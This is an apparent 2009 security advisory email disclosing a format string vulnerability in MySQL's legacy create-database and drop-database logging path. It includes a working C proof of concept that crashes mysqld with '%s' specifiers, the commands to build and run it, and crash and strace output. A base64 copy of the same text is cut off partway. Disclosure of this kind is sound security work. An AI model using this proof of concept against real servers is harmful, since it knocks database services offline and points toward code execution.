--0016364d1d916cb72a046e39b7ea
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
MySQL (tested: Version 5.0.45 on CentOS (Linux)) Format String Vulnerability
MySQL General Available (GA) Release is vulnerable.
Latest MySQL Version is not vulnerable since the bug if ifdef'ed off.
from mysql-5.0.75 source (mysql-5.0.75.tar.gz) in the file
libmysqld/sql_parse.cc
this source code is also included in mysql-4.0.0, mysql versions >4.0.0 are affected.
function prototype: write(THD *thd, enumenum_server_command command,
const char* format, ...)
function call: write(thd, command, packet);
on line 2084:
case COM_CREATE_DB: // QQ: To be removed
{
char *db=thd->strdup(packet), *alias;
HA_CREATE_INFO create_info;
statistic_increment(thd->status_var.com_stat[SQLCOM_CREATE_DB],
&LOCK_status);
// null test to handle EOM
if (!db || !(alias= thd->strdup(db)) || check_db_name(db))
{
my_error(ER_WRONG_DB_NAME, MYF(0), db ? db : "NULL");
break;
}
if (check_access(thd,CREATE_ACL,db,0,1,0,is_schema_db(db)))
break;
[1] mysql_log.write(thd,command,packet);
bzero(&create_info, sizeof(create_info));
mysql_create_db(thd, (lower_case_table_names == 2 ? alias : db),
&create_info, 0);
break;
}
line 2105:
case COM_DROP_DB: // QQ: To be removed
{
statistic_increment(thd->status_var.com_stat[SQLCOM_DROP_DB],
&LOCK_status);
char *db=thd->strdup(packet);
/* null test to handle EOM */
if (!db || check_db_name(db))
{
my_error(ER_WRONG_DB_NAME, MYF(0), db ? db : "NULL");
break;
}
if (check_access(thd,DROP_ACL,db,0,1,0,is_schema_db(db)))
break;
if (thd->locked_tables || thd->active_transaction())
{
my_message(ER_LOCK_OR_ACTIVE_TRANSACTION,
ER(ER_LOCK_OR_ACTIVE_TRANSACTION), MYF(0));
break;
}
[2] mysql_log.write(thd,command,db);
mysql_rm_db(thd, db, 0, 0);
break;
}
at [1] and [2] there is a call to mysql_log.write() without
format string specifiers leading to a format string bug.
authentication is required.
COM_CREATE_DB and COM_DROP_DB are "legacy" code. Recent clients
does not use this functions to create and drop databases.
Older clients do. Even Newest GA version of mysqld is able to handle
the requests though.
mysql logging has to be enabled. it seems acls are enforced, so
create db or drop db privs may be required, though untested.
--> my.cnf at [mysqld] log=/var/log/mysql.log for example
PROOF OF CONCEPT WHICH CRASHES MYSQLD FOLLOWS
MYSQLD RESTARTS IMMEDIATELY
CAUSE: SIGNAL SEGV
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
---snip---
#include
#include
#define USE_OLD_FUNCTIONS
#include
#define NullS (char *) 0
int
main (int argc, char **argv)
{
MYSQL *mysql = NULL;
mysql = mysql_init (mysql);
if (!mysql)
{
puts ("Init faild, out of memory?");
return EXIT_FAILURE;
}
if (!mysql_real_connect (mysql, /* MYSQL structure to use */
"localhost", /* server hostname or IP address */
"monty", /* mysql user */
"montypython", /* password */
NULL, /* default database to use, NULL
for none */
0, /* port number, 0 for default */
NULL, /* socket file or named pipe name */
CLIENT_FOUND_ROWS /* connection flags */ ))
{
puts ("Connect failed\n");
}
else
{
puts ("Connect OK\n");
// mysql_create_db(mysql, "%s%s%s%s%s");
simple_command(mysql, COM_CREATE_DB, argv[1], strlen(argv[1]), 0);
}
mysql_close (mysql);
return EXIT_SUCCESS;
}
---snip---
reproduce:
$gcc mysql_format.c -o mysql_format -lmysqlclient
$./mysql_format %s%s%s%s%s
Debugging output follows - Crashdump and strace output
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Version: '5.0.45-log' socket: '/var/lib/mysql/mysql.sock' port: 3306
Source distribution
090620 1:53:52 - mysqld got signal 11;
This could be because you hit a bug. It is also possible that this binary
or one of the libraries it was linked against is corrupt, improperly built,
or misconfigured. This error can also be caused by malfunctioning hardware.
We will try our best to scrape up some info that will hopefully help diagnose
the problem, but since we have already crashed, something is definitely wrong
and this may fail.
key_buffer_size=8388600
read_buffer_size=131072
max_used_connections=1
max_connections=100
threads_connected=1
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size +
sort_buffer_size)*max_connections = 225791 K
bytes of memory
Hope that's ok; if not, decrease some variables in the equation.
thd=0x8aea8a8
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong...
Cannot determine thread, fp=0xb038d7ec, backtrace may not be correct.
Stack range sanity check OK, backtrace follows:
0x8187393
0xb7be8afb
0x8208dc4
0x81a55e2
0x81a58b7
0x81a6487
0xb7e2a33a
0xb7c4b5ce
New value of fp=(nil) failed sanity check, terminating stack trace!
Please read http://dev.mysql.com/doc/mysql/en/using-stack-trace.html
and follow instructions on how to resolve the stack trace. Resolved
stack trace is much more helpful in diagnosing the problem, so please do
resolve it
Trying to get some variables.
Some pointers may be invalid and cause the dump to abort...
thd->query at (nil) is invalid pointer
thd->thread_id=1
The manual page at http://www.mysql.com/doc/en/Crashing.html contains
information that should help you find out what is causing the crash.
Number of processes running now: 0
090620 01:53:52 mysqld restarted
090620 1:53:52 InnoDB: Started; log sequence number 0 4876777
090620 1:53:52 [Note] /usr/libexec/mysqld: ready for connections.
Version: '5.0.45-log' socket: '/var/lib/mysql/mysql.sock' port: 3306
Source distribution
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
26454 futex(0x8a6ff90, FUTEX_WAIT, 1, NULL
26453 select(14, [11 13], NULL, NULL, NULL
26455 futex(0x8a70000, FUTEX_WAIT, 5, NULL
26456 futex(0x8a70070, FUTEX_WAIT, 3, NULL
26457 futex(0x8a700e0, FUTEX_WAIT, 1, NULL
26459 select(0, NULL, NULL, NULL, {0, 55000}
26460 select(0, NULL, NULL, NULL, {0, 953000}
26461 futex(0x872a630, FUTEX_WAIT, 1, NULL
26462 rt_sigtimedwait([HUP QUIT ALRM TERM TSTP],
26463 futex(0x86e2044, FUTEX_WAIT, 1, NULL
26459 <... select resumed> ) = 0 (Timeout)
26459 time(NULL) = 1245456538
26459 select(0, NULL, NULL, NULL, {1, 0}
26460 <... select resumed> ) = 0 (Timeout)
26460 time(NULL) = 1245456538
26460 select(0, NULL, NULL, NULL, {2, 0}
26459 <... select resumed> ) = 0 (Timeout)
26459 time(NULL) = 1245456539
26459 select(0, NULL, NULL, NULL, {1, 0}) = 0 (Timeout)
26459 time(NULL) = 1245456540
26459 select(0, NULL, NULL, NULL, {1, 0}
26460 <... select resumed> ) = 0 (Timeout)
26460 time(NULL) = 1245456540
26460 select(0, NULL, NULL, NULL, {2, 0}
26459 <... select resumed> ) = 0 (Timeout)
26459 time(NULL) = 1245456541
26459 select(0, NULL, NULL, NULL, {1, 0}) = 0 (Timeout)
26459 time(NULL) = 1245456542
26459 select(0, NULL, NULL, NULL, {1, 0}
26460 <... select resumed> ) = 0 (Timeout)
26460 time(NULL) = 1245456542
26460 select(0, NULL, NULL, NULL, {2, 0}
26459 <... select resumed> ) = 0 (Timeout)
26459 time(NULL) = 1245456543
26459 select(0, NULL, NULL, NULL, {1, 0}) = 0 (Timeout)
26459 time(NULL) = 1245456544
26459 time(NULL) = 1245456544
26459 select(0, NULL, NULL, NULL, {1, 0}
26460 <... select resumed> ) = 0 (Timeout)
26460 time(NULL) = 1245456544
26460 select(0, NULL, NULL, NULL, {2, 0}
26459 <... select resumed> ) = 0 (Timeout)
26459 time(NULL) = 1245456545
26459 select(0, NULL, NULL, NULL, {1, 0}) = 0 (Timeout)
26459 time(NULL) = 1245456546
26459 select(0, NULL, NULL, NULL, {1, 0}
26460 <... select resumed> ) = 0 (Timeout)
26460 time(NULL) = 1245456546
26460 select(0, NULL, NULL, NULL, {2, 0}
26459 <... select resumed> ) = 0 (Timeout)
26459 time(NULL) = 1245456547
26459 select(0, NULL, NULL, NULL, {1, 0}
26453 <... select resumed> ) = 1 (in [13])
26453 fcntl64(13, F_SETFL, O_RDWR|O_NONBLOCK) = 0
26453 accept(13, {sa_family=AF_FILE, path="=FF=BF=01"}, [2]) = 26
26453 fcntl64(13, F_SETFL, O_RDWR) = 0
26453 getsockname(26, {sa_family=AF_FILE, path="/var/lib/mysql=01"}, [28]) = 0
26453 fcntl64(26, F_SETFL, O_RDONLY) = 0
26453 fcntl64(26, F_GETFL) = 0x2 (flags O_RDWR)
26453 fcntl64(26, F_SETFL, O_RDWR|O_NONBLOCK) = 0
26453 setsockopt(26, SOL_IP, IP_TOS, [8], 4) = -1 EOPNOTSUPP
(Operation not supported)
26453 time(NULL) = 1245456547
26453 mmap2(NULL, 200704, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb035e000
26453 mprotect(0xb035e000, 4096, PROT_NONE) = 0
26453 clone(child_stack=0xb038e494,
flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID,
parent_tidptr=0xb038ebd8, {entry_number:6, base_addr:0xb038eb90,
limit:1048575, seg_32bit:1, contents:0, read_exec_only:0,
limit_in_pages:1, seg_not_present:0, useable:1},
child_tidptr=0xb038ebd8) = 16147
26453 select(14, [11 13], NULL, NULL, NULL
16147 time(NULL) = 1245456547
16147 rt_sigprocmask(SIG_UNBLOCK, [], [HUP INT QUIT PIPE ALRM TERM TSTP], 8) = 0
16147 setsockopt(26, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0
16147 write(26, "8\0\0\0\n5.0.45-log\0\1\0\0\0]/mZZ46R\0,\242\300"..., 60) = 60
16147 read(26, 0x8b19ae0, 4) = -1 EAGAIN (Resource
temporarily unavailable)
16147 time(NULL) = 1245456547
16147 rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM
TERM TSTP], 8) = 0
16147 tgkill(26453, 26462, SIGALRM) = 0
26462 <... rt_sigtimedwait resumed> 0, 0, 8) = 14
16147 rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP],
26462 rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1],
16147 <... rt_sigprocmask resumed> NULL, 8) = 0
26462 <... rt_sigprocmask resumed> [HUP INT QUIT PIPE ALRM TERM TSTP], 8) = 0
16147 fcntl64(26, F_SETFL, O_RDWR
26462 time(
16147 <... fcntl64 resumed> ) = 0
26462 <... time resumed> NULL) = 1245456547
16147 read(26,
26462 alarm(5) = 0
26462 rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP],
NULL, 8) = 0
26462 rt_sigtimedwait([HUP QUIT ALRM TERM TSTP],
16147 <... read resumed> "&\0\0\1", 4) = 4
16147 read(26, "\207\242\0\0\0\0\0@\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"...,
38) = 38
16147 rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM
TERM TSTP], 8) = 0
16147 rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP],
NULL, 8) = 0
16147 fcntl64(26, F_SETFL, O_RDWR|O_NONBLOCK) = 0
16147 time(NULL) = 1245456547
16147 write(3, "090620 2:09:07\t 1 Connect "..., 55) = 55
16147 write(26, "\7\0\0\2\0\0\0\2\0\0\0", 11) = 11
16147 time(NULL) = 1245456547
16147 read(26, 0x8b19ae0, 4) = -1 EAGAIN (Resource
temporarily unavailable)
16147 time(NULL) = 1245456547
16147 rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM
TERM TSTP], 8) = 0
16147 tgkill(26453, 26462, SIGALRM) = 0
16147 rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP],
NULL, 8) = 0
16147 fcntl64(26, F_SETFL, O_RDWR) = 0
16147 read(26,
26462 <... rt_sigtimedwait resumed> 0, 0, 8) = 14
16147 <... read resumed> "\v\0\0\0", 4) = 4
16147 read(26, "\5%s%s%s%s%s", 11) = 11
16147 rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM
TERM TSTP], 8) = 0
16147 rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP],
NULL, 8) = 0
16147 fcntl64(26, F_SETFL, O_RDWR|O_NONBLOCK) = 0
16147 time(NULL) = 1245456547
16147 --- SIGSEGV (Segmentation fault) @ 0 (0) ---
16147 time(NULL) = 1245456547
16147 write(2, "090620 2:09:07 - mysqld got sig"..., 266) = 266
16147 write(2, "We will try our best to scrape u"..., 176) = 176
16147 write(2, "key_buffer_size=8388600\n", 24) = 24
16147 write(2, "read_buffer_size=131072\n", 24) = 24
16147 write(2, "max_used_connections=1\n", 23) = 23
16147 write(2, "max_connections=100\n", 20) = 20
16147 write(2, "threads_connected=1\n", 20) = 20
16147 write(2, "It is possible that mysqld could"..., 143) = 143
16147 write(2, "Hope that\'s ok; if not, decrease"..., 66) = 66
16147 write(2, "thd=0x8aea8a8\n", 14) = 14
16147 write(2, "Attempting backtrace. You can us"..., 159) = 159
16147 write(2, "Cannot determine thread, fp=0xb0"..., 70) = 70
16147 write(2, "Stack range sanity check OK, bac"..., 48) = 48
16147 write(2, "0x8187393\n", 10) = 10
16147 write(2, "0xb7be8afb\n", 11) = 11
16147 write(2, "0x8208dc4\n", 10) = 10
16147 write(2, "0x81a55e2\n", 10) = 10
16147 write(2, "0x81a58b7\n", 10) = 10
16147 write(2, "0x81a6487\n", 10) = 10
16147 write(2, "0xb7e2a33a\n", 11) = 11
16147 write(2, "0xb7c4b5ce\n", 11) = 11
16147 write(2, "New value of fp=(nil) failed san"..., 68) = 68
16147 write(2, "Please read http://dev.mysql.com"..., 222) = 222
16147 write(2, "Trying to get some variables.\nSo"..., 90) = 90
16147 write(2, "thd->query at (nil) ", 20) = 20
16147 write(2, " is invalid pointer\n", 20) = 20
16147 write(2, "thd->thread_id=1\n", 17) = 17
16147 write(2, "The manual page at http://www.my"..., 139) = 139
16147 exit_group(1) = ?
26462 rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1],
26463 <... futex resumed> ) = -1 EINTR (Interrupted system call)
26459 <... select resumed> ) = ? ERESTARTNOHAND (To be restarted)
26453 <... select resumed> ) = ? ERESTARTNOHAND (To be restarted)
26454 <... futex resumed> ) = -1 EINTR (Interrupted system call)
26455 <... futex resumed> ) = -1 EINTR (Interrupted system call)
26456 <... futex resumed> ) = -1 EINTR (Interrupted system call)
26457 <... futex resumed> ) = -1 EINTR (Interrupted system call)
26461 <... futex resumed> ) = -1 EINTR (Interrupted system call)
26460 <... select resumed> ) = ? ERESTARTNOHAND (To be restarted)
26462 <... rt_sigprocmask resumed> [HUP INT QUIT PIPE ALRM TERM TSTP], 8) = 0
With Kind Regards,
Nikolaos Rangos
E-Mail: kcope[at]googlemail.com
--0016364d1d916cb72a046e39b7ea
Content-Type: text/plain; name="MySQL_Format.txt"
Content-Disposition: attachment; filename="MySQL_Format.txt"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_fwwni97j0
TXlTUUwgKHRlc3RlZDogVmVyc2lvbiA1LjAuNDUgb24gQ2VudE9TIChMaW51eCkpIEZvcm1hdCBT
dHJpbmcgVnVsbmVyYWJpbGl0eQ0KTXlTUUwgR2VuZXJhbCBBdmFpbGFibGUgKEdBKSBSZWxlYXNl
IGlzIHZ1bG5lcmFibGUuDQpMYXRlc3QgTXlTUUwgVmVyc2lvbiBpcyBub3QgdnVsbmVyYWJsZSBz
aW5jZSB0aGUgYnVnIGlmIGlmZGVmJ2VkIG9mZi4NCg0KZnJvbSBteXNxbC01LjAuNzUgc291cmNl
IChteXNxbC01LjAuNzUudGFyLmd6KSBpbiB0aGUgZmlsZSBsaWJteXNxbGQvc3FsX3BhcnNlLmNj
DQp0aGlzIHNvdXJjZSBjb2RlIGlzIGFsc28gaW5jbHVkZWQgaW4gbXlzcWwtNC4wLjAsIG15c3Fs
IHZlcnNpb25zID49IDQuMC4wIGFyZSBhZmZlY3RlZC4NCg0KZnVuY3Rpb24gcHJvdG90eXBlOiB3
cml0ZShUSEQgKnRoZCwgZW51bWVudW1fc2VydmVyX2NvbW1hbmQgY29tbWFuZCwgY29uc3QgY2hh
ciogZm9ybWF0LCAuLi4pIA0KZnVuY3Rpb24gY2FsbDogd3JpdGUodGhkLCBjb21tYW5kLCBwYWNr
ZXQpOw0KDQpvbiBsaW5lIDIwODQ6DQogIGNhc2UgQ09NX0NSRUFURV9EQjoJCQkJLy8gUVE6IFRv
IGJlIHJlbW92ZWQNCiAgICB7DQogICAgICBjaGFyICpkYj10aGQtPnN0cmR1cChwYWNrZXQpLCAq
YWxpYXM7DQogICAgICBIQV9DUkVBVEVfSU5GTyBjcmVhdGVfaW5mbzsNCg0KICAgICAgc3RhdGlz
dGljX2luY3JlbWVudCh0aGQtPnN0YXR1c192YXIuY29tX3N0YXRbU1FMQ09NX0NSRUFURV9EQl0s
DQoJCQkgICZMT0NLX3N0YXR1cyk7DQogICAgICAvLyBudWxsIHRlc3QgdG8gaGFuZGxlIEVPTQ0K
ICAgICAgaWYgKCFkYiB8fCAhKGFsaWFzPSB0aGQtPnN0cmR1cChkYikpIHx8IGNoZWNrX2RiX25h
bWUoZGIpKQ0KICAgICAgew0KCW15X2Vycm9yKEVSX1dST05HX0RCX05BTUUsIE1ZRigwKSwgZGIg
PyBkYiA6ICJOVUxMIik7DQoJYnJlYWs7DQogICAgICB9DQogICAgICBpZiAoY2hlY2tfYWNjZXNz
KHRoZCxDUkVBVEVfQUNMLGRiLDAsMSwwLGlzX3NjaGVtYV9kYihkYikpKQ0KCWJyZWFrOw0KICAg
ICAgWzFdIG15c3FsX2xvZy53cml0ZSh0aGQsY29tbWFuZCxwYWNrZXQpOw0KICAgICAgYnplcm8o
JmNyZWF0ZV9pbmZvLCBzaXplb2YoY3JlYXRlX2luZm8pKTsNCiAgICAgIG15c3FsX2NyZWF0ZV9k
Yih0aGQsIChsb3dlcl9jYXNlX3RhYmxlX25hbWVzID09IDIgPyBhbGlhcyA6IGRiKSwNCiAgICAg
ICAgICAgICAgICAgICAgICAmY3JlYXRlX2luZm8sIDApOw0KICAgICAgYnJlYWs7DQogICAgfQ0K
DQpsaW5lIDIxMDU6DQogIGNhc2UgQ09NX0RST1BfREI6CQkJCS8vIFFROiBUbyBiZSByZW1vdmVk
DQogICAgew0KICAgICAgc3RhdGlzdGljX2luY3JlbWVudCh0aGQtPnN0YXR1c192YXIuY29tX3N0
YXRbU1FMQ09NX0RST1BfREJdLA0KCQkJICAmTE9DS19zdGF0dXMpOw0KICAgICAgY2hhciAqZGI9
dGhkLT5zdHJkdXAocGFja2V0KTsNCiAgICAgIC8qICBudWxsIHRlc3QgdG8gaGFuZGxlIEVPTSAq
Lw0KICAgICAgaWYgKCFkYiB8fCBjaGVja19kYl9uYW1lKGRiKSkNCiAgICAgIHsNCglteV9lcnJv
cihFUl9XUk9OR19EQl9OQU1FLCBNWUYoMCksIGRiID8gZGIgOiAiTlVMTCIpOw0KCWJyZWFrOw0K
ICAgICAgfQ0KICAgICAgaWYgKGNoZWNrX2FjY2Vzcyh0aGQsRFJPUF9BQ0wsZGIsMCwxLDAsaXNf
c2NoZW1hX2RiKGRiKSkpDQoJYnJlYWs7DQogICAgICBpZiAodGhkLT5sb2NrZWRfdGFibGVzIHx8
IHRoZC0+YWN0aXZlX3RyYW5zYWN0aW9uKCkpDQogICAgICB7DQoJbXlfbWVzc2FnZShFUl9MT0NL
X09SX0FDVElWRV9UUkFOU0FDVElPTiwNCiAgICAgICAgICAgICAgICAgICBFUihFUl9MT0NLX09S
X0FDVElWRV9UUkFOU0FDVElPTiksIE1ZRigwKSk7DQoJYnJlYWs7DQogICAgICB9DQogICAgICBb
Ml0gbXlzcWxfbG9nLndyaXRlKHRoZCxjb21tYW5kLGRiKTsgDQogICAgICBteXNxbF9ybV9kYih0
aGQsIGRiLCAwLCAwKTsNCiAgICAgIGJyZWFrOw0KICAgIH0NCg0KYXQgWzFdIGFuZCBbMl0gdGhl
cmUgaXMgYSBjYWxsIHRvIG15c3FsX2xvZy53cml0ZSgpIHdpdGhvdXQgDQpmb3JtYXQgc3RyaW5n
IHNwZWNpZmllcnMgbGVhZGluZyB0byBhIGZvcm1hdCBzdHJpbmcgYnVnLg0KYXV0aGVudGljYXRp
b24gaXMgcmVxdWlyZWQuDQoNCkNPTV9DUkVBVEVfREIgYW5kIENPTV9EUk9QX0RCIGFyZSAibGVn
YWN5IiBjb2RlLiBSZWNlbnQgY2xpZW50cw0KZG9lcyBub3QgdXNlIHRoaXMgZnVuY3Rpb25zIHRv
IGNyZWF0ZSBhbmQgZHJvcCBkYXRhYmFzZXMuDQpPbGRlciBjbGllbnRzIGRvLiBFdmVuIE5ld2Vz
dCBHQSB2ZXJzaW9uIG9mIG15c3FsZCBpcyBhYmxlIHRvIGhhbmRsZQ0KdGhlIHJlcXVlc3RzIHRo
b3VnaC4NCiAgICANCm15c3FsIGxvZ2dpbmcgaGFzIHRvIGJlIGVuYWJsZWQuIGl0IHNlZW1zIGFj
bHMgYXJlIGVuZm9yY2VkLCBzbw0KY3JlYXRlIGRiIG9yIGRyb3AgZGIgcHJpdnMgbWF5IGJlIHJl
cXVpcmVkLCB0aG91Z2ggdW50ZXN0ZWQuDQotLT4gbXkuY25mIGF0IFtteXNxbGRdIGxvZz0vdmFy
L2xvZy9teXNxbC5sb2cgZm9yIGV4YW1wbGUNCg0KUFJPT0YgT0YgQ09OQ0VQVCBXSElDSCBDUkFT
SEVTIE1ZU1FMRCBGT0xMT1dTDQpNWVNRTEQgUkVTVEFSVFMgSU1NRURJQVRFTFkNCkNBVVNFOiBT
SUdOQUwgU0VHVg0Kfn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+
fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+DQoNCi0tLXNuaXAtLS0NCiNpbmNsdWRl
IDxzdGRsaWIuaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KDQojZGVmaW5lIFVTRV9PTERfRlVOQ1RJ
T05TDQojaW5jbHVkZSA8bXlzcWwvbXlzcWwuaD4NCg0KI2RlZmluZSBOdWxsUyAgICAgICAgICAg
KGNoYXIgKikgMA0KDQppbnQNCm1haW4gKGludCBhcmdjLCBjaGFyICoqYXJndikNCnsNCiAgTVlT
UUwgKm15c3FsID0gTlVMTDsNCg0KICBteXNxbCA9IG15c3FsX2luaXQgKG15c3FsKTsNCg0KICBp
ZiAoIW15c3FsKQ0KICAgIHsNCiAgICAgIHB1dHMgKCJJbml0IGZhaWxkLCBvdXQgb2YgbWVtb3J5
PyIpOw0KICAgICAgcmV0dXJuIEVYSVRfRkFJTFVSRTsNCiAgICB9DQoNCiAgaWYgKCFteXNxbF9y
ZWFsX2Nvbm5lY3QgKG15c3FsLCAgICAgICAvKiBNWVNRTCBzdHJ1Y3R1cmUgdG8gdXNlICovDQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAibG9jYWxob3N0IiwgLyogc2VydmVyIGhvc3RuYW1l
IG9yIElQIGFkZHJlc3MgKi8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICJtb250eSIsICAg
ICAgLyogbXlzcWwgdXNlciAqLw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIm1vbnR5cHl0
aG9uIiwgIC8qIHBhc3N3b3JkICovDQogICAgICAgICAgICAgICAgICAgICAgICAgICBOVUxMLCAg
ICAgIC8qIGRlZmF1bHQgZGF0YWJhc2UgdG8gdXNlLCBOVUxMIGZvciBub25lICovDQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAwLCAgIC8qIHBvcnQgbnVtYmVyLCAwIGZvciBkZWZhdWx0ICov
DQogICAgICAgICAgICAgICAgICAgICAgICAgICBOVUxMLCAgICAgICAgLyogc29ja2V0IGZpbGUg
b3IgbmFtZWQgcGlwZSBuYW1lICovDQogICAgICAgICAgICAgICAgICAgICAgICAgICBDTElFTlRf
Rk9VTkRfUk9XUyAvKiBjb25uZWN0aW9uIGZsYWdzICovICkpDQogICAgew0KICAgICAgcHV0cyAo
IkNvbm5lY3QgZmFpbGVkXG4iKTsNCiAgICB9DQogIGVsc2UNCiAgICB7DQogICAgICBwdXRzICgi
Q29ubmVjdCBPS1xuIik7DQovLyAgICAgIG15c3FsX2NyZWF0ZV9kYihteXNxbCwgIiVzJXMlcyVz
JXMiKTsNCiAgICAgICAgc2ltcGxlX2NvbW1hbmQobXlzcWwsIENPTV9DUkVBVEVfREIsIGFyZ3Zb
MV0sIHN0cmxlbihhcmd2WzFdKSwgMCk7DQoNCiAgICB9DQoNCiAgbXlzcWxfY2xvc2UgKG15c3Fs
KTsNCg0KICByZXR1cm4gRVhJVF9TVUNDRVNTOw0KfQ0KLS0tc25pcC0tLQ0KDQpyZXByb2R1Y2U6
DQokZ2NjIG15c3FsX2Zvcm1hdC5jIC1vIG15c3FsX2Zvcm1hdCAtbG15c3FsY2xpZW50DQokLi9t
eXNxbF9mb3JtYXQgJXMlcyVzJXMlcw0KDQoNCkRlYnVnZ2luZyBvdXRwdXQgZm9sbG93cyAtIENy
YXNoZHVtcCBhbmQgc3RyYWNlIG91dHB1dA0KDQp+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+
fn5+fn5+fn5+fn5+fn5+fn5+fn5+fg0KVmVyc2lvbjogJzUuMC40NS1sb2cnICBzb2NrZXQ6ICcv
dmFyL2xpYi9teXNxbC9teXNxbC5zb2NrJyAgcG9ydDogMzMwNiAgU291cmNlIGRpc3RyaWJ1dGlv
bg0KMDkwNjIwICAxOjUzOjUyIC0gbXlzcWxkIGdvdCBzaWduYWwgMTE7DQpUaGlzIGNvdWxkIGJl
IGJlY2F1c2UgeW91IGhpdCBhIGJ1Zy4gSXQgaXMgYWxzbyBwb3NzaWJsZSB0aGF0IHRoaXMgYmlu
YXJ5DQpvciBvbmUgb2YgdGhlIGxpYnJhcmllcyBpdCB3YXMgbGlua2VkIGFnYWluc3QgaXMgY29y
cnVwdCwgaW1wcm9wZXJseSBidWlsdCwNCm9yIG1pc2NvbmZpZ3VyZWQuIFRoaXMgZXJyb3IgY2Fu
IGFsc28gYmUgY2F1c2VkIGJ5IG1hbGZ1bmN0aW9uaW5nIGhhcmR3YXJlLg0KV2Ugd2lsbCB0cnkg
b3VyIGJlc3QgdG8gc2NyYXBlIHVwIHNvbWUgaW5mbyB0aGF0IHdpbGwgaG9wZWZ1bGx5IGhlbHAg
ZGlhZ25vc2UNCnRoZSBwcm9ibGVtLCBidXQgc2luY2Ugd2UgaGF2ZSBhbHJlYWR5IGNyYXNoZWQs
IHNvbWV0aGluZyBpcyBkZWZpbml0ZWx5IHdyb25nDQphbmQgdGhpcyBtYXkgZmFpbC4NCg0Ka2V5
X2J1ZmZlcl9zaXplPTgzODg2MDANCnJlYWRfYnVmZmVyX3NpemU9MTMxMDcyDQptYXhfdXNlZF9j
b25uZWN0aW9ucz0xDQptYXhfY29ubmVjdGlvbnM9MTAwDQp0aHJlYWRzX2Nvbm5lY3RlZD0xDQpJ
dCBpcyBwb3NzaWJsZSB0aGF0IG15c3FsZCBjb3VsZCB1c2UgdXAgdG8NCmtleV9idWZmZXJfc2l6
ZSArIChyZWFkX2J1ZmZlcl9zaXplICsgc29ydF9idWZmZXJfc2l6ZSkqbWF4X2Nvbm5lY3Rpb25z
ID0gMjI1NzkxIEsNCmJ5dGVzIG9mIG1lbW9yeQ0KSG9wZSB0aGF0J3Mgb2s7IGlmIG5vdCwgZGVj
cmVhc2Ugc29tZSB2YXJpYWJsZXMgaW4gdGhlIGVxdWF0aW9uLg0KDQp0aGQ9MHg4YWVhOGE4DQpB
dHRlbXB0aW5nIGJhY2t0cmFjZS4gWW91IGNhbiB1c2UgdGhlIGZvbGxvd2luZyBpbmZvcm1hdGlv
biB0byBmaW5kIG91dA0Kd2hlcmUgbXlzcWxkIGRpZWQuIElmIHlvdSBzZWUgbm8gbWVzc2FnZXMg
YWZ0ZXIgdGhpcywgc29tZXRoaW5nIHdlbnQNCnRlcnJpYmx5IHdyb25nLi4uDQpDYW5ub3QgZGV0
ZXJtaW5lIHRocmVhZCwgZnA9MHhiMDM4ZDdlYywgYmFja3RyYWNlIG1heSBub3QgYmUgY29ycmVj
dC4NClN0YWNrIHJhbmdlIHNhbml0eSBjaGVjayBPSywgYmFja3RyYWNlIGZvbGxvd3M6DQoweDgx
ODczOTMNCjB4YjdiZThhZmINCjB4ODIwOGRjNA0KMHg4MWE1NWUyDQoweDgxYTU4YjcNCjB4ODFh
NjQ4Nw0KMHhiN2UyYTMzYQ0KMHhiN2M0YjVjZQ0KTmV3IHZhbHVlIG9mIGZwPShuaWwpIGZhaWxl
ZCBzYW5pdHkgY2hlY2ssIHRlcm1pbmF0aW5nIHN0YWNrIHRyYWNlIQ0KUGxlYXNlIHJlYWQgaHR0
cDovL2Rldi5teXNxbC5jb20vZG9jL215c3FsL2VuL3VzaW5nLXN0YWNrLXRyYWNlLmh0bWwgYW5k
IGZvbGxvdyBpbnN0cnVjdGlvbnMgb24gaG93IHRvIHJlc29sdmUgdGhlIHN0YWNrIHRyYWNlLiBS
ZXNvbHZlZA0Kc3RhY2sgdHJhY2UgaXMgbXVjaCBtb3JlIGhlbHBmdWwgaW4gZGlhZ25vc2luZyB0
aGUgcHJvYmxlbSwgc28gcGxlYXNlIGRvDQpyZXNvbHZlIGl0DQpUcnlpbmcgdG8gZ2V0IHNvbWUg
